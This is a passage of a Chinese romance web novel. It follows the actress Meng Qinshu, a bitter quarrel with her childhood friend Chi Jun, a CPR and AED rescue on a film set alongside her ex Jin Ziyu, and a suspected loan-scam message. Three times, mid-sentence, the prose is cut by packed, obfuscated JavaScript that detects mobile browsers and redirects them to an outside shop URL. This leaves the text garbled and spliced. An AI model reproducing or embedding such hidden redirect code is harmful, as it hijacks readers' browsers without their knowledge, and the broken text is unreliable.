一股尖锐的、近乎生理性的抽痛,自他心脏处炸开。靳子煜压下刹车把,刚起步的车猛然停下。 —— 雨声噼里啪啦,似雷暴,仿佛势必倾颓城池。 女人栗色长发打湿后死气沉沉地垂在背上,纵然裙色鲜艳、身段窈窕,但上半张脸乍一看苍白的犹如女鬼,过路打伞的行人生怕遇到了神经病,都下意识绕开,加快脚步离去。 驾驶法拉利的男人以六十码的车速自西向东开过去,当他从车窗里看到这一幕,狠狠一脚刹车踩到底。 下一秒,刺耳的刹车声刺破雨幕。 车子惯性冲出近十米,堪堪停在斑马线前。 后方紧跟着的黑色轿车险些追尾,司机惊出一身冷汗,正要骂人,却看清前方是辆法拉利,又硬生生把话憋了回去。 池俊推门下车,转身冲上人行道。 暴雨顷刻间浇透了他的深蓝色衬衫。他几步冲到孟秦书面前,一把攥住她的手腕: “走!” 他拽的是她拿礼品盒的那只手,力道下得重。 一个不稳,盒子掉落在地。 孟秦书正要蹲身去捡,腰还没弯下去,整个人就被一股不容拒绝的力道拽上去,踉跄着撞进一堵温热的人墙。 聒噪不止的雨声环绕在她的耳蜗深处,就像无数的摔炮同时炸响。 轰—— 轰轰—— 孟秦书晃了晃身体,而后抬起雪白的下巴,对上男人垂下来的目光。 大雨持续冲刷着她的双眼,生理性地频繁眨着。 迷迷蒙蒙的视线里,他线条流畅的下颌泛着一层薄薄的暖光,狭长深情的眼睛漆黑深邃,盛满了柔情。 轰—— 终于,所有声响骤然退去。 世界在这一刻恍若静止。 4. 第 4 章 池俊感觉到她因抗拒而紧绷的手臂慢慢卸了力气,他心底也跟着松了几分。 灼热的注视让他再次低眸,触上那双不知是被雨水浸红,还是哭红的眼睛。 可下一瞬它变得温软充满柔情,像在看......爱人。 但在眼下,显得有些诡异。 池俊随即抬起视线,打算拉她离开。孟秦书却一下子扑进他怀里,落在他腰上的双臂紧紧箍住他。 这一抱,让男人整个身躯,紧绷的如同一尊僵硬的雕像。孟秦书抬抬头,再看他一眼,果然还是老样子。 “你来了……”她声音很轻,几乎散在雨里。 深黑的云层里形如游蛇的闪电穿过去,紧接着,轰隆隆的雷声滚过天际,震耳欲聋。 今夜这场雨,恐怕不会停了。 马路对面,靳子煜拄着手杖静静站着,目送男人将孟秦书扶进副驾驶座,细心关好车门,而后车子驶离。 路灯昏黄的光晕笼罩下来,斜飞的雨丝细密而急促,将那道的车影洇染成一大片鲜艳的红。 —— 两个浑身湿透的人回到酒店,在地下车库分开,一前一后回了各自的房间。 孟秦书进门,踢掉高跟鞋,赤着脚往里走。她先走进卧室,从抽屉里拿出常吃的药片,铝板上还剩三粒,正好是一次的量。 药片按进掌心,她握着它们走出房间,来到客厅东南角的保温箱前,然后从里取出一瓶矿泉水,拧开盖子,就着水将药一口吞了下去。 吃药的流程日复一日,几乎成了肌肉记忆。平常她并不觉得自己是病人,只有在这个时候。 她原地站了几秒,才想起还没洗澡。 整个屋子,每一扇窗的窗帘都拉得严严实实,即便白天也透不进一丝光。 孟秦书从衣帽间出来,身上未着片缕,一手拎着湿淋淋的礼服裙,一手挂着睡衣,走进了卫生间。 花洒打开,温热的水雾弥漫开来。她望着飞溅的水点,忽然想起刚才在车上——自己那仿佛“诈尸”般突然清醒的瞬间。池俊开着车,明明第一次见她发病,却一副见怪不怪的样子。 她和池俊其实没什么深交,但有过一段过往。最早可以回溯到福利院的时候。 那是六岁那年,她在宿舍楼下,看见一个和她差不多高的男孩正被院里的“恶霸”东东欺负。 东东仗着年纪大,个子高壮,常常拉帮结派地欺负新来的孩子。 她当时就从脚边捡起一块石头,扔过去,精准地砸中了东东的额头,他顿时头破血流。 这一下立刻转移了东东的火力,他转身就朝她冲过来。 她已经攥紧拳头准备迎上去,可在东东朝她挥起手臂的一刹那,那个男孩追了上来,用尽全身力气撞向东东左侧。 东东左腿有残疾,经不住这样一撞,失去重心的他重重侧摔在地上,半天爬不起来。 男孩拉起她的手就跑,不停地跑,一直跑到一座假山后面,躲了进去。 等气喘匀了,她才问他:“你……怎么敢了?” 男孩勇敢道:“我不怕了。” 叮咚叮咚外面骤然响起门铃声,强行拽回了她发散的思绪。 —— 门铃声统共响了二遍,便没了声音。 孟秦书也不着急,洗头膏擦了两遍、营养膏打了一遍,等换上真丝睡裙,已经是十五分钟后的事情。 她依然不慌不忙地走出去,虚贴着门板,透过猫眼,看到着深灰色休闲西装的池俊站在门口。 片刻后,她抬眼,视线扫到他脸上的深蓝色医用口罩,突出优越的鼻梁顶起口罩,再往上是他那双一旦笑起来有几分邪肆的丹凤眼。 孟秦书开门,将他放进来。 “不必换鞋。” 她说着反手关门,淡淡觑了眼池俊的后背——他熟门熟路地往沙发那儿走。 五星连锁酒店,户型格局大致相同,不同的只会是内部装潢和陈设风格,池俊和她一样把酒店当家,这便是他这“自来熟”的缘由。 池俊坐下后,将房间快速扫视一遍,才问站在保温箱前的孟秦书:“你还去找他做什么?” 孟秦书转身的动作一顿:“你怎么知道?”语气不善。 她手握矿泉水,白皙纤细的手指如羊脂白玉,骨节微屈出柔美的弧线,赏心悦目。 但细看她长袖下,细长的腕子上绑有一根暗红色的红绳,正中间系着颗平平无奇的绿珠子,没什么光泽。 池俊不过走神一瞬,再抬眼时,孟秦书已坐在对面的沙发上。 那瓶水递过来轻轻地放置在他的手边。 他摘下口罩塞入口袋,捋平衣角之后拿起水瓶,不冷不烫的温度熨着掌心,刚好合适。 “……在片场,听见你和美术指导说话。”怕她误会,池俊又解释:“只是经过,那扇门开着……” 除了演戏时需要大开大合的情绪,孟秦书平日对谁都冷淡。若是陷入思索,那双琥珀色的眸子里还会透出几分审视。 譬如现在。 可一想到孟秦书为那个靳子煜淋了一场雨,一股火气窜上来,揣在心里半天的话冲口而出:“但我没想到你真会去!阿漓,你脑子不清醒了吗?他靳子煜算什么东西,也值得你这样?!” “池俊,”孟秦书瞬时冷下脸:“他算什么,轮不到你来评判。我的事,和你无关。” 池俊不是第一次骂靳子煜,只要提起这个名字都会激怒孟秦书,可他总是忍不住。事实上,在昨天之前,他连靳子煜本人都没见过。他只是见不得孟秦书为一个不值得的男人使劲折腾自己。 那是孟秦书第一次上春晚后的正月初一。池俊发给她的新年祝福迟迟没有回音。两人住同一酒店,门对门,池俊去敲门,无人应答,又打她电话,听见铃声从屋内传来,确定她在里面。 淡淡的酒气从门缝里飘出。 池俊怕她出事,叫来酒店的管理人员。因他们演员的身份,几人商量后,由经理打开了房门。 黑暗裹挟刺鼻的酒气扑面而来。 借着走廊的灯光,能看见孟秦书蜷在沙发里,白色针织长裙皱成一团。茶几边滚着几个空酒瓶,瓶身在昏暗中跳动冷光。 池俊打开灯,拦住要跟进来的其他人,自己一个箭步冲到沙发前。 沙发上的女人头发散乱,紧紧闭着眼,眉头痛苦地拧在一起。整张脸烧得通红,嘴唇却白得吓人。 连唤几声也不回应,池俊意识到不妙,连忙将她打横抱起。就在这时候,从她松开的手心里,滑出两张照片。 他的余光掠过照片——上面是个男人。 来不及多想,池俊抱紧怀里的人,大步了离开房间。 送到医院才知是急性酒精中毒。医生摘下口罩,语气沉肃:“再晚来五分钟,可能人就没了。” 后来,池俊又一次去医院探望时,问起了照片上的男人是谁。 或许是大难不死后心防松动,又或许只是需要一个人倾听,一向紧闭心扉的孟秦书,竟用短短几句话,不过百字,向他讲述了她和那个男人的故事。 “是我对不起靳子煜。”她很郑重地说,“他是个很好的人。” 好人。 借别人之手送礼物。 池俊神色一凛,到底是什么样的好男人,会时隔多年仍忘不掉恨,从而算计一个女人,就为了看她戏耍后的蠢样。 可恶至极。 “是,我无关!那靳子煜就有关了?”他将矿泉水瓶重重拍在桌面上,“他配吗?你看看你现在,他一出现,你魂都没了!戏不拍了,雨里发疯,阿漓,你又病了,你知道吗?” 孟秦书倏地起身,“周小北——”她狠道,“你别以为救过我,就能对我的人生指手画脚,他不配,难道你配吗?” 福利院收养的没有姓名的孩子都跟着院长姓,池俊只是周小北的艺名。孟秦书这时候提起这个名字,是在提醒他,靳子煜再不济,也有清白的家世,而他就是一个连亲生父母都不要的弃儿。 池俊脸色霎时褪得惨白,又迅速涌上被羞辱的赤红,咬牙挤出每个字,“是,我不配,我一个连爹妈姓什么都不知道的野种,属实配不上温小姐。” 恒温的屋里无端冒出冷意,孟秦书被池俊声色俱厉的样子吓得退后半步,脸上已浮现歉意。 在池俊心里,周小北是他的原形,是他不愿提及的过去,她确实说了不该说的话。 孟秦书欲向池俊道歉,他却冷笑:“他要是心里有你,他会不来找你?你是大明星,想找到你不难吧?” 人在气头上便什么话扎心说什么,这些话大可不必当真。理智是这么告诉自己的,可是耳朵和心脏受不了。 孟秦书睁大的眼睛里因情绪激动蓄满了泪水,她想反驳,一时却忘记如何组织语言。 池俊仍在说:“你想想,他为什么突然给你送什么鬼东西?你倒是正中他的下怀,像个傻子一样到处乱走,你猜他是不是在不远处欣赏你的表演。” 孟秦书脸庞涨红发烫,垂在身侧的双手握成拳头,指甲深深嵌进了肉里。她刚启唇,被池俊哼出的一声笑打断:“你说你那一发病就随便往男人怀里扑的毛病,他知道吗?你觉得,靳子煜会喜欢一个……一旦神志不清就抱着别的男人不放的女人吗?!” 此话一出,被击中最痛处的孟秦书视线横扫过茶几,抓起上面的水晶烟灰缸,抡起手臂,狠狠砸向地面。 “砰——” 烟灰缸没有摔碎,在胡桃木地板上留下一个指甲大小的坑,弹起来撞在置物边柜门上,又掉回地板,滚了几圈,停在了墙角。 就此,室内陷入死一般的沉寂,只余窗外风雨拍打玻璃的微弱声响。 一分一秒消逝的时间里,池俊仿佛清醒过来,但看她微微搐着的唇肌,她的眼神更是冷得让他害怕。 两人认识这么久,她何曾发这么大的火?接着一股寒意自脊背处爬升——他刚才那副模样,那种恶毒的快意,伤害她,能让他证明什么? “阿——阿漓。”池俊走过去,站孟秦书身侧,“对不起……” 他舔了舔嘴唇,语调放慢放轻,告知她一件事;“你昨天低血糖晕倒,他在。就在三楼的走廊,清清楚楚看着,但凡对你还有一点点情分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他静立片刻,直到左前方隐约传来一声“Action”。靳子煜循声望去,目光穿过葱茏枝叶,落在门口扛着摄像机的摄影师身上。 垂在身侧的左手无意识地蜷了蜷,掌心那里一丝刺痛。 他捏紧拳心,里面那只星星钻石耳钉硌着他的皮肉,提醒着他此行的目的。 靳子煜收回视线,迈步朝那处走去。 两个女人言辞交锋,女二因辩不过理科出身的女主,恼羞成怒地扬手欲掌掴。 电光石火间,男二疾步上前一把攥住她的手腕,毫不留情地将人拽开。 女二踉跄数步险些跌倒,抬眸时见周围路人指指点点,她羞愤交加,转而将怒火撒向男二,抬手便是一记耳光。 啪—— 声响清脆。 男二被打偏脸,镜头迅速推近,捕捉他眼中错愕的特写。 “Cut!” 方才还剑拔弩张的三人霎时松弛下来,相视一笑。 这场戏拍了三遍,直到第四次才算圆满。所幸那一巴掌只是借位,清脆响声也出自旁边工作人员配音。 歇息十五分钟,再拍下一幕。 三人往回走时,孟秦书眼尾余光瞥见身侧的周弋身形一滞。她心头刚掠过一丝异样,男人高大的身躯已直直向前栽下去。 伴随着几声尖叫,砰男人脸朝下砸在地上。 所有人都始料未及。 暗红的血自周弋脸部下方缓缓洇开,两位导演冲上前,却被眼前这副骇人景象震得脑中一片空白。 反倒是孟秦书第一个上前,毫不犹豫地半跪在周弋身侧。 “周弋……周弋。”她连唤两声,男人毫无反应。 孟秦书蓦地抬眼,目光扫过人群,扬手指向一人:“叫救护车!” 那人哆嗦着应了,慌忙去掏手机。 常人若是摔成这样,早就该痛得呻吟出声。可周弋却静得出奇,整具身体毫无起伏,仿佛已经—— 她伸出食指,探向他的颈侧。那里有大动脉,比手腕脉搏更能清楚判断一个人的生死——是靳子煜曾经告诉她的。 王导终于从震骇中回过神,快步绕到周弋另一侧蹲下,仰头急声道:“快叫救护车!” 焦灼的声音回荡在空旷大堂,话音刚落,几处声音几乎同时响起:“已经叫了!” 副导演也凑上前,与王导一同蹲在周弋身旁。男人依旧面朝下伏在地上,谁也不敢贸然挪动,生怕造成二次伤害。 剧组人员慢慢围拢过来,个个面色惶然,交换着不安的眼神。 孟秦书屏住呼吸,手指按在周弋颈侧足有半分钟。指下传来的脉搏跳动极其微弱,仿佛下一秒就要停止。 那滩漫开的血迹仍在扩散,已经浸透了她淡黄色的裙摆。 她顾不上这些,只是心头越来越慌,连指尖都开始发颤。 突然间,一道冷冽而严肃的声音自上方落下: “都让开。” 这声音太过熟悉,刹那间仿佛穿透数年光阴,重新撞进她的生命里。 靳子煜。 孟秦书蓦地抬头,与此同时,那道白色身影已毫不犹豫地屈膝跪下——他完全不顾膝盖撞地的疼痛,就这么直直跪倒在她身侧。 黑色手杖“哐当”一声倒在旁边。 5. 第 5 章 靳子煜下颌绷紧,颈侧线条凛冽,眸色沉黑如墨。 “忘了?”他嗓音清冷带点疏离。 孟秦书一怔,只见他快速扫视周弋全身,说道:“CPR(心肺复苏)” 修长两指已落在周弋颈侧,他凝神感知脉搏,与她刚才的动作一摸一样。 孟秦书脑中飞快闪过急救原则:在无法立即判断病因时,按最危急的情况处理——即,假设为心源性猝死,启动最高级别急救响应。(1) 她立即道:“我们一起把他翻过来。” 靳子煜抬眼看向对面两人,抬高声线:“大家一起,扶住患者两个肩膀,向北面翻转,动作要轻要稳。” 两位导演对视一眼,都不知道这突然冒出来的男人是谁? 可他话语里有种不容置喙的权威,似乎很懂,他们默认为医生。 于是,四人协力,小心地将周弋翻过身。血迹斑驳的脸暴露在人们视野中,让周围响起一片抽气声。 孟秦书十指交扣正要开始心肺复苏,身旁的男人已先一步俯身,双臂垂直,手掌一下接一下用力地按压患者胸廓。 他一边按压,一边语速极快地对她说:“看到东墙上那只红色玻璃箱了吗?” 孟秦书望去,靠窗的沙发旁果然嵌着一只红色玻璃箱,上面写着“AED”。 “去拿过来,跑过去。” 她瞬间会意,不多言,起身疾步奔去。 围观的十几人专心致志地看这个男人进行电视剧里常见的操作——心肺复苏。 男人身形偏瘦,个子却特别的高,目测有一米九上下,比与他们共事过的很多男演员都高。 他身上这件白色短袖衬衫质地挺括,因他的动作,布料微微鼓起,隐约勾勒出腰背流畅的肌肉线条。 再看他这张脸肤色白净,浓眉英挺,气质却是儒雅中裹着清冽的书卷气息。 大抵是这所高校的老师。 也有人注意到男人右裤腿抻上去后露出的一小截金属色的腿脖子。那不是正常人的腿,正所谓没吃过猪肉也见过猪跑,那几人目光交流一番,得出结论这是假肢。 难怪,男人会用手杖……难怪,他刚才挤开人群,冲上前时,步态很是不稳。 孟秦书拿着AED机器很快回来。 靳子煜已经解开患者染血的衬衫,露出患者的胸肌,他将两片电极片分别贴在右胸上方和左胸侧下方。 他火速撤回双手,高声道:“所有人不要碰他。” 人们立即屏住呼吸,等待他们的下步动作,孟秦书指腹点在黄色点击按钮上,只待靳子煜下达指令。 “按。” 靳子煜一声令下,孟秦书按下按钮。 “砰!”患者身体弹起又落下。 AED语音提醒:电击完成。请立即开始心肺复苏。 同时间落下的还有靳子煜的双手,开始新一轮胸外按压。 只要救护车没来,心肺复苏就不能停止,需要循环到救援抵达。覃乔侧眼看过去的时候,靳子煜的额角已经冒出汗水,由于低垂头,汗水顺着他的下颌线滑落,打湿了周弋胸部皮肤。 “换我吧。”孟秦书说, 救护车赶到这里至少需要二十分钟,而他们的急救虽然紧张,实际上才过了五六分钟。 但单凭一人的体力,根本无法持续完成一轮又一轮的心肺复苏。 “小书,”靳子煜的嗓音已有些低哑,他微微颔首,“准备接替我,跟着我的节奏,30比2。我数到30就换你。” 数到30时,孟秦书分秒不差地接替上去。靳子煜长舒一口气,得以短暂喘息。 她咬紧牙关用力按压,靳子煜抬头环视四周,提高声音:“我们需要更多人轮流按压!谁有急救经验?或者愿意现在学?每30次换人。” 剧组人员纷纷举手上前。 这场紧张而有序的接力持续进行,当再次轮到靳子煜时,救护车的鸣笛声终于由远及近。周弋被迅速抬上担架床,一名急救医生毫不犹豫地跨坐上去,继续为他进行胸外按压。 另一名医生在一旁快速记录:“男性,27岁,无预警倒地。约二十分钟前发生心脏骤停,意识、呼吸、脉搏均消失。现场即刻实施高质量心肺复苏,约三分钟取得AED,给予一次双向波200J电击,后续持续CPR,未再出现室颤。疑似心源性猝死?” 担架床被快速推离。靳子煜拾起地上的手杖,握住手杖中段,借力艰难起身。 孟秦书下意识想伸手扶他,男人很轻微地摇了摇头,谢绝了她的好意。 那位医生临走前,目光扫过大堂内的每一个人,郑重颔首:“按压非常到位,为后续抢救争取了宝贵时间。接下来,就交给我们吧。” 周围重新恢复喧嚣,你一眼我一语地交流声如细密急促的鼓点,敲打着她的耳蜗。 王导作为主要负责人,他和副导演交代几句,旋即就跑了出去。孟秦书回收视线时,余光中出现的璀璨微光闪了下她的眼睛。 她定睛一看。 靳子煜摊开的掌心中躺着一只星星形状的钻石耳钉。 那只手修长白皙大掌边缘泛着红意,该是刚才按压的痕迹还未褪。 他没认真看她,淡漠地说:“路上捡到的,还你。” 这耳钉丢了已有三日,正是在那个暴雨夜。 孟秦书耳边蓦地回响起池俊那句刺耳的话:“你倒是正中他的下怀,像个傻子一样到处乱走,你猜他是不是就在不远处欣赏你的表演!” 原来他那晚真的在场。 思及此,孟秦书心头反而荡开一丝清浅的愉悦。她欣然抬眸,语气轻快地脱口而出:“子——靳子煜,为表感谢,我晚上请你吃饭吧。”她出手取回耳钉,指尖不小心擦过对方的手掌,再将其牢牢握在手里。 靳子煜因她跳脱的思维目光滞了下,继而转开眼睛,视线越过她的肩,不知是在看什么。 他说:“不必麻烦。” 语调仍是惯常的温文尔雅,如春光下拂过的一阵柔风,只是说话间人已经往旁侧一绕,绕过孟秦书,拄着手杖就朝外面走。 “真的不麻烦。”孟秦书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025919|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟上前,走在他身侧,随他一同踏出大门,轻声续道,“你教我的CPR我一直记得,刚才……只是有些慌了。” 那是七年前,医院里的小公园,一位老阿姨突然晕倒在他们脚边,靳子煜当机立断地跪地查看伤情后为老阿姨进行CPR,同时他一面冷静指引路人去叫医生,一面清晰地向孟秦书讲解步骤要领,以便两人轮流操作到医护人员赶来。 步下台阶,靳子煜猝然停下,侧转身,然后用一种奇怪的眼神仔仔细细打量完她后说:“孟小姐,借过。” 他要左转。 太阳在他们的正上方,明晃晃。女人下巴微扬,执拗地寸步不让,忽起的一阵风吹起她染血的淡黄裙摆。 靳子煜缓抬眼正视孟秦书欲语还休的红唇,默了默提醒说:“裙子脏了。” 顿了一秒,他又说:“还有二十分钟上课,我先走了。” 孟秦书没道理在拦着,只好侧让到一边,靳子煜就从她身前经过,头也不回地走掉。 —— 收工回到酒店已经晚上七点,孟秦书去卧室换了身睡衣,蜷进沙发里打开电视机。 地板上那个小坑又一次吸引了她的注意力。 那晚发泄过过后,她打电话叫来了酒店经理,由于是深更半夜,给不出方案,待到第二日,总经理上门与她温和详谈。 最后解决办法,待她退房,客厅24块地板全部更换,材料费用、人工费用以及维修日空置费都将由她个人承担。 但因她是本店黑金顾客总经理给她空置费打八折,届时所有费用在完成之后会通过邮件发给她。 孟秦书认同该方案,并在合约书上签了字。 孟秦书打了个哈欠,最近她还患上了一种一沾沙发就犯困的病,昏昏欲睡之际,她脑海里浮现靳子煜的身影。 六年未见,他的变化倒没有想象中那么大。脸还是那张脸,深目高鼻,轮廓流畅温润。稍许改变的是整个人透出的气质,褪去了学生时代的青涩,沉淀出成熟男性的温雅沉稳。 以及一股冷淡疏远。 哦,还有他的腿,念书那时候从未见过靳子煜戴过假肢,夏天他会穿运动短裤,在篮球场上架一根腋拐和一帮同学一起跑跑跳跳,没人会因他的特殊将他当成残疾人。 等到天凉,他就换上右边裤腿仔细缝合起来的长裤。他曾告诉她,那是他母亲亲手缝的,里面絮了厚厚的棉花,特别暖和。 六年了,那些原本已经褪色记忆碎片,犹如一块块拼图找到了正确的位置合并成鲜艳生的动画面,重现眼前。 一帧帧的缓慢放映,好似回到昨日。 孟秦书坐起身,伸手捞过茶几上的手机,又蜷回沙发里。点开短视频软件,拇指持续地向上滑动,浏览着大数据推送来的一条条搞笑内容。 她偶尔短促地笑一声。 “——最快建立联系的方式是借钱。想试探一个人是否是真朋友,最直接有效的方法,就是向他借钱——” 孟秦书指尖顿住。人机味很重的女声旁白戛然而止,白底黑字的画面就此定格。 6. 第 6 章 室内篮球馆灯火通明,砰砰的拍球声不绝于耳。 篮球重重砸中篮筐后猛地反弹,伴随着顾远急促的一声:“小心!” 闻声,靳子煜偏过头。 篮球险险擦过他左耳,“砰”地撞上后方铁网,弹开落地,又在绿色橡胶垫上滚了几圈才停下。 “你今天怎么回事?心神不宁的?”顾远走过去弯腰捡起球,随手拍了两下,走到靳子煜跟前。 他微垂眸,视线从靳子煜汗湿的蓝色抹额上那一缕额发开始扫,依次扫过他蓝白相间的运动T恤、同色系短裤、肌肉线条优美精瘦的左腿,最后停在他那条智能假肢的大腿部位。 “腿疼了?” 两人都是忙里偷闲,每周只凑得出一个晚上来打球。靳子煜跑不快,有时候稍有不慎还会崴倒摔跤,好在两人配合默契,再说了打球不争输赢,只图个身心愉快,还是可以找到不少乐趣。 “在想学校里的事。”靳子煜回答,鬓角沁出一滴汗水,顺着脸颊下滑,最终悬在下颌处,将落未落。 顾远哼哧一声笑,眉梢扬起:“得了吧你,比教导主任盯早自习还操心。” 篮球往地上一扔,顾远走至靳子煜右侧,抬手揽住他的肩部,推着他慢慢往场边的长凳走:“今儿个老台又在科室里给我们颁布新政了,说要下个月必须拿下那个‘人文关怀示范岗’。我这一天别的没干,光练标准的空姐式微笑了。” 他侧过头,用大拇指和食指捏了捏自己的两侧咬肌,龇牙咧嘴:“看见没?咬肌都笑僵了,晚上喝粥都嫌费劲。护士长更绝,搞了个打分表,说病人推门进来三秒内没看见八颗牙的微笑,就要扣‘温情分’。”我现在看谁都像在看行走的KPI考核机——包括你。” 老台是他们神外的大主任,什么都管,什么都抓,顾远对他是七分敬畏揉着两分惧怕,底下还垫着一层“嫌他管太宽”的腻烦。于是乎,靳子煜成了他的情绪树洞,隔三岔五听他吐槽,那些经典名句都能写成一本小说。 “你信不信,就你现在这表情,我还以为老台把科室会开到篮球场来了。咱下班时间,能别让我有种还在值夜班的错觉吗?” 两人先后坐到长凳上,顾远双腿豪迈地大张大开,拿起手边的矿泉水,拧开盖子,仰头咕噜咕噜喝完半瓶水。 靳子煜静静注视顾远的侧脸许久,待他讲完,微笑补刀:“你现在这副表情,按照你们科室的新标准,属于“不够优雅,缺乏人文素养,扣0.5分。” 被好友精准扎心,顾远差点当场弹起来。可对照自己苦命的医学生涯,垂下沉重的头颅:“早知道我当年也选你那儿,后悔啊后悔。” 顾远和子煜那可是打穿开裆裤就认识的交情,小学、初中、高中全拴在一块儿,后来他去F市读临床医学,子煜则是留在家乡,考进宜大读BWE但即便天各一方,两人仍常常在Q/Q上保持联系。 再后来两人又不约而同地选择了海市作为未来大展宏图的地方,毕竟这儿是国内首屈一指的国际大都市。 他又是一声叹气:“上次我那篇《颞叶癫痫病灶精准剥离的术式改良》,被主任打回来,批注说‘临床意义阐述缺乏伦理价值,这几天我差点把电脑吃了!” 靳子煜安慰性地拍拍他的肩,“上周,我交上去一个关于‘可植入式人工肾脏微型化驱动系统’的项目书。三年规划,团队搭建、预算、实验路径,写了二百六十页。评审意见回来,就一行字:建议优先解决更迫切的现实问题。” BWE(生物医学工程)属于工学和医学交叉学科,在十一二前算是偏冷门专业,但它却与临床医学有着千丝万缕的关联。靳子煜和顾远看似两条路,实则殊途同归,最终目的都是为了解决临床问题,改善人类健康。 这番“比惨”成功安慰到了顾远。吐槽归吐槽,学医毕竟是他从小扎根的梦想,也和家里父母、爷爷都在医院工作有关,算得上耳濡目染。 说笑间,靳子煜运动包里的手机“叮”了一声——短信息提示音。 靳子煜扭身,手摸入背包侧边口袋,取出手机。 顾远往他脸上瞥去,正巧捕捉到靳子煜眼皮一颤的瞬间,下一瞬,表情凝重的靳子煜一言不发地起身,手杖都不拿,就朝那扇铁门有些摇晃着走去。 [我是孟秦书,我最近手头有点紧,能不能向你借点钱?] 靳子煜倚着墙,将这条信息反复读了几遍,发件人的号码也核对了一次又一次。没错,确实是孟秦书的号码。 借钱? 她不是当红明星吗?怎么会缺钱?难道是手机被盗了?还是说……财务上遇到了麻烦? 靳子煜想到要拨打孟秦书的电话,可是——他拇指悬停在屏幕上方。 就算接通,他该说什么? 忖了片刻,他快速敲下一行字发送过去:[加我微信,这个号码,细聊] 结果就是他等了五分三十秒,消息如石沉大海再无回音。 屏幕熄灭,漆黑的镜面上映照出靳子煜蹙紧的浓眉。 那朵天生矜傲从不低头的凌霄花,怎么可能跟他借钱呢,骗子吧.....所以才不敢加他的微信。 时间不早了,顾远将篮球扔入篮球筐,摘下抹额,双手用力一拧,汗水便淅沥沥洒落在地。 他长长吁了口气,还是回去再洗澡罢。抬眼往场馆门口望了眼,他看见了进门的靳子煜。 低眉垂目,眉间拧着化不开的忧思。 顾远一瞬不瞬地看着他,不自觉地也皱起眉头。这场球从头到尾,靳子煜都是魂游天外的状态,现在更甚。 仍是工作上的事情? 顾远心里道,不像啊。 他这位兄弟,学业与事业向来顺遂。人生唯一的“坎”,既是初三那年那场严重的车祸,让他永远失去了右腿。 顾远在心里摇了摇头,不对,还应该算上“她”。 八年前,子煜和“她”确定关系后,第一时间就把好消息告诉了他,还将两人的合照发了过来。 那是顾远第一次见到“她”。照片里的女孩确实漂亮,漂亮到让他觉得子煜属实“高攀”,让他担心这样的女孩真的会死心塌地跟着子煜吗? 子煜待人真诚,零恋爱经验的他更是张白纸,他担心兄弟把握不住这个女孩,更担心兄弟受情伤。 直到那年暑假里在烧烤店他亲眼见到这个女孩,女孩有些清冷,话很少,但每次子煜说话时,她的眼睛一眨不眨地盯着他看,满心满眼的样子实在不像装出来的。 再说了,女孩能图子煜什么? 钱? 有一次他去学校找子煜,在校门口他看见女孩从迈巴赫上下来,一同下车的还有她的父亲。这位父亲,着一身黑色西装,半头银丝修剪得短而整齐,不仅不显老态,反而透出岁月熏染后的睿智持重。他朝女儿点了点头,温声叮嘱了几句,才重新坐回车里。 是他狭隘了。 喜欢在医学上的解释为多巴胺、□□之类的神经递质。某种神经质回路稳固,可以维持持续放电;某种神经质最易被短暂激发,旋即归于基线。 持久或是断结都属于正常的医学现象,只是他未想到,之后的分手,几乎要了子煜半条命。 那些分析、理性、逻辑……在铺天盖地的情绪面前,再清醒的大脑,被深窈的感情长驱直入,也会像遭遇了最顽固的病毒,理性中枢全面失守,只剩下最原始、最汹涌的症候。 靳子煜是被顾远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025920|194400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一路盯着走过来,男人漆黑的瞳仁有些微放远,像是透过他的身体在看其他。 靳子煜正要问顾远在看什么?掌心里的手机震动了一下——来了微信。 他缓缓屈膝,另一只手撑住椅沿借力,慢慢坐到凳子上。 [M】申请添加好友。 “你猜今天我见到谁了?”顾远瞅靳子煜一眼,只见他唇角抽了下,但心思全在手机上,他只好自问自答:“你那位前女友的父亲,今天住进我们科了,胶质母细胞瘤术后二年复发,病理升级了,WHOⅢ级。” 靳子煜点通过加上了M 很快信息发过来[我最近遇到了点麻烦,可以问你借五千元吗?] 顾远眼尖,瞄见了这条借钱信息。再看上方显示——添加好友才不到一分钟。这么急不可耐? 啧,靳教授这种单纯性子,该不会要被骗吧? 眼看好友指尖已经点向了转账功能,顾远“咳——”了一声,打断他的动作。 “上周”他找了个话:“小胡子突然加我好友,你猜怎么着?上来第一句就是:顾远,我遇到了点困难,能不能借我一万元,过两天一定你。” 小胡子是他们高一时的同班同学,因唇上早早就蓄起一层胡茬而得名。 靳子煜斜睨他一眼,眼神里明明白白写着:说重点。 顾远见他看过来,顿时来劲:“我就纳闷,是不是我长得特别像冤大头?这都今年第三个了!去年同学会那会儿,是谁把法拉利、兰博基尼钥匙串拍桌上,吹嘘自己生意做得风生水起,年入千万来着?这转头——” 靳子煜打断:“你借了多少?” “五千,我倒不是信他这套说辞,主要是念着高二那年,我急性阑尾炎,他一路把我从教室二楼背到校门口等车。这份人情,我一直记着。就当是……给‘借款’打了个对折。” 这年头,几年甚至十几年不联系的人突然冒出来,十有八九,都是直奔主题的。‘借’这个字,不过是层听起来体面些的包装。 借钱的人,未必还;答应借的人……心里也未必还指望对方能还。 